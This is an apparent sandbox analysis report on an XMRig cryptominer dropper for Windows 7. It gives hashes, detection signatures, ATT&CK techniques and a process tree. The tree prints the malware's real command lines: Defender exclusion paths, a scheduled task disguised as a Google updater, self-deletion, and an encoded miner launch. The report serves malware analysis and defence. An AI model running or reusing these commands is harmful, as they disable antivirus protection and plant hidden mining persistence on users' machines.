xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1388s
max time network
1806s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Size 2.0MB
Sample240123-x59d7agbd6
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2480 created 1216	2480	3JynzWc6LxNCT2y8.exe	22
PID 2480 created 1216	2480	3JynzWc6LxNCT2y8.exe	22
PID 2480 created 1216	2480	3JynzWc6LxNCT2y8.exe	22
PID 2480 created 1216	2480	3JynzWc6LxNCT2y8.exe	22
PID 2984 created 1216	2984	updater.exe	22
PID 2984 created 1216	2984	updater.exe	22
PID 2984 created 1216	2984	updater.exe	22
PID 2984 created 1216	2984	updater.exe	22
PID 3040 created 1216	3040	conhost.exe	22
PID 2984 created 1216	2984	updater.exe	22

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral1/memory/1992-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-132-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-134-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1992-136-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2604	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2984	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
3060	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1992-68-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-132-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-134-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1992-136-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2984 set thread context of 3040	2984	updater.exe	52
PID 2984 set thread context of 1992	2984	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	3JynzWc6LxNCT2y8.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2760	schtasks.exe
816	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1580	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 409d20ba3a4fda01	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2480	3JynzWc6LxNCT2y8.exe
2480	3JynzWc6LxNCT2y8.exe
2536	powershell.exe
2480	3JynzWc6LxNCT2y8.exe
2480	3JynzWc6LxNCT2y8.exe
2808	powershell.exe
2480	3JynzWc6LxNCT2y8.exe
2480	3JynzWc6LxNCT2y8.exe
2480	3JynzWc6LxNCT2y8.exe
2480	3JynzWc6LxNCT2y8.exe
2596	powershell.exe
2984	updater.exe
2984	updater.exe
2964	powershell.exe
2984	updater.exe
2984	updater.exe
800	powershell.exe
2984	updater.exe
2984	updater.exe
2984	updater.exe
2984	updater.exe
3040	conhost.exe
3040	conhost.exe
2984	updater.exe
2984	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2536	powershell.exe
Token: SeDebugPrivilege	2808	powershell.exe
Token: SeDebugPrivilege	2596	powershell.exe
Token: SeDebugPrivilege	2964	powershell.exe
Token: SeDebugPrivilege	800	powershell.exe
Token: SeDebugPrivilege	2984	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1580	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1580	WMIC.exe
Token: SeSecurityPrivilege	1580	WMIC.exe
Token: SeTakeOwnershipPrivilege	1580	WMIC.exe
Token: SeLoadDriverPrivilege	1580	WMIC.exe
Token: SeSystemtimePrivilege	1580	WMIC.exe
Token: SeBackupPrivilege	1580	WMIC.exe
Token: SeRestorePrivilege	1580	WMIC.exe
Token: SeShutdownPrivilege	1580	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1580	WMIC.exe
Token: SeUndockPrivilege	1580	WMIC.exe
Token: SeManageVolumePrivilege	1580	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1580	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1580	WMIC.exe
Token: SeSecurityPrivilege	1580	WMIC.exe
Token: SeTakeOwnershipPrivilege	1580	WMIC.exe
Token: SeLoadDriverPrivilege	1580	WMIC.exe
Token: SeSystemtimePrivilege	1580	WMIC.exe
Token: SeBackupPrivilege	1580	WMIC.exe
Token: SeRestorePrivilege	1580	WMIC.exe
Token: SeShutdownPrivilege	1580	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1580	WMIC.exe
Token: SeUndockPrivilege	1580	WMIC.exe
Token: SeManageVolumePrivilege	1580	WMIC.exe
Token: SeLockMemoryPrivilege	1992	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2808 wrote to memory of 2760	2808	powershell.exe	32
PID 2808 wrote to memory of 2760	2808	powershell.exe	32
PID 2808 wrote to memory of 2760	2808	powershell.exe	32
PID 2604 wrote to memory of 1272	2604	cmd.exe	37
PID 2604 wrote to memory of 1272	2604	cmd.exe	37
PID 2604 wrote to memory of 1272	2604	cmd.exe	37
PID 2596 wrote to memory of 2576	2596	powershell.exe	38
PID 2596 wrote to memory of 2576	2596	powershell.exe	38
PID 2596 wrote to memory of 2576	2596	powershell.exe	38
PID 3060 wrote to memory of 2984	3060	taskeng.exe	40
PID 3060 wrote to memory of 2984	3060	taskeng.exe	40
PID 3060 wrote to memory of 2984	3060	taskeng.exe	40
PID 800 wrote to memory of 816	800	powershell.exe	45
PID 800 wrote to memory of 816	800	powershell.exe	45
PID 800 wrote to memory of 816	800	powershell.exe	45
PID 2984 wrote to memory of 3040	2984	updater.exe	52
PID 3016 wrote to memory of 1580	3016	cmd.exe	47
PID 3016 wrote to memory of 1580	3016	cmd.exe	47
PID 3016 wrote to memory of 1580	3016	cmd.exe	47
PID 2984 wrote to memory of 1992	2984	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1216
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2760
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2604
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2596
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:800
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:816
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1396
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:3016
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:3040
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1992

C:\Windows\system32\taskeng.exe
taskeng.exe {ED016A7A-D268-4E6A-8B28-B11DCEC780B3} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3060
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2984

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 1.2MB
SHA256 4d9a87628fad171701b43b8ad85ac3f887223cec6be3e60e28fb7be610ebcd3b
MD5 8e9bffc9cc34e27daafd0a896b9b91ac
SHA1 f364540b5244a6ebf48e016022f38059a7d73dbe
SHA512 fd463b9741c87f4c987887a7036ed625e1a720a413c8a9fb0411de5732842218d38175e3f2676de99262ae8a6936ac859c1501ac61cb70ac38b27e2af0d40bca
SSDEEP 24576:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i+JJi732RuzDhb6Kd5Fe12urmvDavvb:rWVipAxqo5p88CbXuxWQiSJU320ZW21m
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 512KB
SHA256 09f8f97d4c6fb632b9e0b88fe92b7c1d8f8bd3755e51529599d524b72fbc1386
MD5 f27ad34c7c93f317ea21dd89236feb90
SHA1 b28cc2f0c5f5766d096b36bac2c59805c12f5769
SHA512 d410006554cc66c6b56a3192190b13707352b6cbab267ed8c7f39d19d3d0dce44a91ac46ad7fe33187a35714056f08be345cc1a2ba48afcd6450c49ff5723456
SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTkuIdZVbc+f:rWVipGdVZjdqVC5jd88FC3bc+f
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 f4d0d738ff98258cdeb411a51b3aae827d255238be85eefc256e2f52b67d814b
MD5 a535e71dffc3bfeeb5118b5377e12164
SHA1 24cff966e3deb48e85776e96f287c2bb40debdce
SHA512 c703951f89b30574cb471946052e1b52c29a5974496cd964133f84bd43cf9e951f3254a84515d7afb9171ed15fc2798fe9f1725434fabd568fc139917257f6c8
SSDEEP 96:YnliCkn5OM8dnqvsqvJCwoSexnliCkn5OM8dnqvsEHyqvJCworIeqF2hQHL8E87S:Ylm5ORUoRlm5ORAHnorgmd772jP
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 1.1MB
SHA256 7926343d68516557e9d43e54ab38a4983fe3c8e4bb2b4949b08dfc842afbf971
MD5 acca3cb268cb4fe6d3d8a037912c2aca
SHA1 8fdc1ab9181b9d06531e6ee0a7b516626f4fdb19
SHA512 a629c9cd378e2345515b245b38d1da2ea1aa7ae5181a880a4a3c88eedf6179624a14cf9dbd9c6384b7222f35d9ffa30443de4d7bbc72741327d2a88ee0f25aea
SSDEEP 24576:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i+JJi732RuzDhb6Kd5Fe12urmvDavvJ:rWVipAxqo5p88CbXuxWQiSJU320ZW21W
MD5 SHA1 SHA512 SSDEEP

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memory/800-59-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

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memory/800-58-0x0000000000850000-0x00000000008D0000-memory.dmp

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memory/800-57-0x0000000000850000-0x00000000008D0000-memory.dmp

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memory/800-56-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

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memory/800-55-0x0000000000850000-0x00000000008D0000-memory.dmp

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memory/800-54-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

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memory/1992-87-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-95-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-136-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-134-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-132-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-130-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-128-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-126-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-124-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-122-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-120-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-118-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-116-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-114-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-112-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-110-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-108-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-106-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-99-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-97-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-93-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-91-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-89-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-85-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-83-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-80-0x0000000000BD0000-0x0000000000BF0000-memory.dmp

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memory/1992-81-0x0000000000BF0000-0x0000000000C10000-memory.dmp

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memory/1992-79-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-78-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-76-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-74-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-72-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1992-70-0x0000000000BF0000-0x0000000000C10000-memory.dmp

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memory/1992-69-0x0000000000BD0000-0x0000000000BF0000-memory.dmp

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memory/1992-67-0x00000000001B0000-0x00000000001D0000-memory.dmp

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memory/1992-68-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2480-0-0x000000013FC60000-0x000000013FE71000-memory.dmp

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memory/2480-29-0x000000013FC60000-0x000000013FE71000-memory.dmp

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memory/2536-5-0x000000001AFC0000-0x000000001B2A2000-memory.dmp

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memory/2536-6-0x0000000002630000-0x0000000002638000-memory.dmp

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memory/2536-7-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

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memory/2536-8-0x00000000023A0000-0x0000000002420000-memory.dmp

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memory/2536-9-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

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memory/2536-13-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

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memory/2536-10-0x00000000023A0000-0x0000000002420000-memory.dmp

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memory/2536-12-0x00000000023A0000-0x0000000002420000-memory.dmp

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memory/2536-11-0x00000000023A0000-0x0000000002420000-memory.dmp

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memory/2596-38-0x0000000002340000-0x00000000023C0000-memory.dmp

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memory/2596-36-0x0000000002340000-0x00000000023C0000-memory.dmp

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memory/2596-35-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

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memory/2596-37-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

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memory/2596-40-0x0000000002340000-0x00000000023C0000-memory.dmp

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memory/2596-39-0x0000000002340000-0x00000000023C0000-memory.dmp

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memory/2596-41-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

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memory/2808-25-0x00000000028E0000-0x0000000002960000-memory.dmp

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memory/2808-21-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

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memory/2808-20-0x0000000001FD0000-0x0000000001FD8000-memory.dmp

